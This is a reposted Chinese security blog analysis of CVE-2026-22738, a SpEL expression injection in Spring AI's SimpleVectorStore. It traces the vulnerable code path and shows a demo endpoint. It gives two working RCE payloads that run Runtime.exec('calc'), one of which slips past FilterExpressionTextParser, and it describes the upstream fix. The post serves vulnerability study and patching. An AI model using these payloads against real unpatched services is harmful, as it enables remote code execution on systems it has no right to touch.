RAG从元数据Key到RCE:CVE-2026-22738深度解析SpringAI向量存储中的SpEL表达式注入与逃逸

admin 2026-04-10 02:52:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: SpringAI框架的SimpleVectorStore组件存在高危SpEL表达式注入漏洞(CVE-2026-22738),攻击者可通过恶意构造的过滤器表达式Key实现远程代码执行。漏洞影响1.0.x<1.0.5和1.1.x<1.1.4版本,核心问题在于用户输入直接拼接至SpEL模板并使用StandardEvaluationContext解析。文档详细分析了漏洞触发机制、两种绕过FilterExpressionTextParser的利用方式,并指出官方修复方案为移除SpEL改用自定义AST遍历器。建议受影响用户立即升级至安全版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应用安全,渗透测试,安全建设


cover_image

RAG从元数据Key到RCE:CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸

原创

KCyber KCyber

自在安全

2026年4月7日 07:02 北京

欢迎大家关注自在安全公众号。为更好学习交流,建了个技术交流群,大家可以扫描进群。你也可以关注公众号后@我拉你进群。

引言

近日 Spring 官方发布安全通告,披露了 Spring AI 框架存在一处高危的 SpEL 表达式注入漏洞 (CVE-2026-22738) 。漏洞源于 SimpleVectorStore 实现向量检索过滤的逻辑中,将用户提供的过滤器表达式拼接到了 SpEL 模板中,并使用 StandardEvaluationContext 进行解析,导致可构造恶意 payload 实现 RCE 。

官方通报中提到了漏洞利用的前提条件:

In Spring AI, a SpEL injection vulnerability exists in SimpleVectorStore when a user-supplied value is used as a filter expression key. A malicious actor could exploit this to execute arbitrary code.

影响版本:

  • • 1.0.x < 1.0.5
  • • 1.1.x < 1.1.4

漏洞分析

SimpleVectorStore 是 Spring AI 提供的一个简单的内存向量数据库实现,它允许用户定义类似 SQL 的过滤条件。具体使用案例可以参考:

https://www.infoworld.com/article/4091447/spring-ai-tutorial-get-started-with-spring-ai.html

SpEL表达式注入

漏洞触发点位于 SimpleVectorStore#doFilterPredicate 。该函数会将过滤条件直接通过 StandardEvaluationContext 函数进行解析,存在 SpEL 表达式注入风险:

搜索 doFilterPredicate 被调用的点,可以找到 similaritySearch 函数:

SimpleVectorStore.doFilterPredicate(SearchRequest)
&nbsp; &nbsp; SimpleVectorStore.doSimilaritySearch(SearchRequest)
&nbsp; &nbsp; &nbsp; &nbsp; AbstractObservationVectorStore.similaritySearch(SearchRequest)

similaritySearch 函数会使用向量数据库的嵌入模型,将查询的问题转换为多维向量。一个典型的 RAG 查询 demo 如下:

@PostMapping("/query")
public&nbsp;ResponseEntity<SimpleQueryResponse>&nbsp;simpleQuery(@RequestBody&nbsp;SimpleQuery simpleQuery)&nbsp;{
&nbsp; &nbsp; String&nbsp;result&nbsp;=&nbsp;ragService.query(simpleQuery);
...
public&nbsp;String&nbsp;query(SimpleQuery sr)&nbsp;{
&nbsp; &nbsp; Filter.Expression&nbsp;maliciousExpr&nbsp;=&nbsp;new&nbsp;Filter.Expression(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Filter.ExpressionType.EQ,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new&nbsp;Filter.Key(sr.getFilterExpression()),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new&nbsp;Filter.Value("anything")
&nbsp; &nbsp; );
&nbsp; &nbsp; SearchRequest&nbsp;searchRequest&nbsp;=&nbsp;SearchRequest.builder()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .query(sr.getQuery())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .topK(sr.getTopK())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .similarityThreshold(sr.getSimilarityThreshold())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .filterExpression(maliciousExpr)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .build();

&nbsp; &nbsp; List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);

Bypass FilterExpressionTextParser

为了进入 StandardEvaluationContext 处理逻辑,传递过来的 filterExpression 需要非空,格式如下:

/**
&nbsp;* Triple that represents and filter boolean expression as
&nbsp;* <code>left type right</code>.
&nbsp;*
&nbsp;*&nbsp;@param&nbsp;type Specify the expression type.
&nbsp;*&nbsp;@param&nbsp;left For comparison and inclusion expression types, the operand must be of
&nbsp;* type {@link&nbsp;Key} and for the AND|OR expression types the left operand must be
&nbsp;* another {@link&nbsp;Expression}.
&nbsp;*&nbsp;@param&nbsp;right For comparison and inclusion expression types, the operand must be of
&nbsp;* type {@link&nbsp;Value} or array of values. For the AND|OR type the right operand must
&nbsp;* be another {@link&nbsp;Expression}.
&nbsp;*/
public&nbsp;record&nbsp;Expression(ExpressionType type, Operand left, Operand right)&nbsp;implements&nbsp;Operand&nbsp;{

&nbsp; &nbsp; public&nbsp;Expression(ExpressionType type, Operand operand)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; this(type, operand,&nbsp;null);
&nbsp; &nbsp; }

}

filterExpression 对象由 Key 、Type 和 Value 组成。同时注意存在 FilterExpressionTextParser 过滤检查:

convertExpression 将 filter.Expression AST 递归遍历,其中 doKey 将 Key 无任何转义拼接到 #metadata 模板:

doValue 通过 emitSpelString 对 Value 中单引号、反斜杠等进行了转义,并且格式化为了日期格式:

 Value 难以直接利用,但可以将 SpEL 载荷放到 Key 中来完成注入,这与官方通报的漏洞描述一致。构造如下请求可以触发 RCE :

'] + T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'}) +&nbsp;#metadata['x

Bypass FilterExpressionTextParser

此外,filterExpression 还支持纯字符串进行实例化:

public&nbsp;Builder&nbsp;filterExpression(@Nullable&nbsp;String textExpression)&nbsp;{
&nbsp; &nbsp; this.searchRequest.filterExpression = (textExpression !=&nbsp;null)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ?&nbsp;new&nbsp;FilterExpressionTextParser().parse(textExpression) :&nbsp;null;
&nbsp; &nbsp; return&nbsp;this;
}

但是如果使用字符串形式的过滤器,Spring AI 会调用 FilterExpressionTextParser 进行格式处理。这里存在空值检查,并会自动加入 WHERE 前缀,更关键还会进行 ANTLR4 校验:

修改 demo 如下:

@PostMapping("/query")
public&nbsp;ResponseEntity<SimpleQueryResponse>&nbsp;simpleQuery(@RequestBody&nbsp;SimpleQuery simpleQuery)&nbsp;{
&nbsp; &nbsp; String&nbsp;result&nbsp;=&nbsp;ragService.query(simpleQuery);
...
public&nbsp;String&nbsp;query(SimpleQuery sr)&nbsp;{
&nbsp; &nbsp; // Filter.Expression maliciousExpr = new Filter.Expression(
&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp; &nbsp; Filter.ExpressionType.EQ,
&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp; &nbsp; new Filter.Key(sr.getFilterExpression()),
&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp; &nbsp; new Filter.Value("anything")
&nbsp; &nbsp; // );
&nbsp; &nbsp; SearchRequest&nbsp;searchRequest&nbsp;=&nbsp;SearchRequest.builder()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .query(sr.getQuery())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .topK(sr.getTopK())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .similarityThreshold(sr.getSimilarityThreshold())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .filterExpression(sr.getFilterExpression())&nbsp; //字符串实例化
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .build();

&nbsp; &nbsp; List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);

常规的 SpEL 利用方式不符合语法规范会被拦截。可以在最外层包裹双引号将 SpEL 改造成合法的 Key 。

  • • FilterExpressionTextParser 将双引号内的字符串作为 Key ,符合语法校验;
  • • SimpleVectorStore 处理 AST 时,会直接取出引号内的内容进行拼接。

绕过检查的 payload 如下:

"'] + T(java.lang.Runtime).getRuntime().exec('calc') +&nbsp;#metadata['"&nbsp;==&nbsp;'anything'

修复方式

commit 记录:

https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29

没有采用常见的修复方式:将 StandardEvaluationContext 换成 SimpleEvaluationContext ,而是彻底移除 SpEL ,改用自定义 AST 遍历器直接求值。

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

欢迎大家关注自在安全公众号。为更好学习交流,建了个技术交流群,大家可以扫描进群。你也可以关注公众号后@我拉你进群。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:自在安全 KCyber KCyber《RAG从元数据Key到RCE:CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸》

评论:0   参与:  0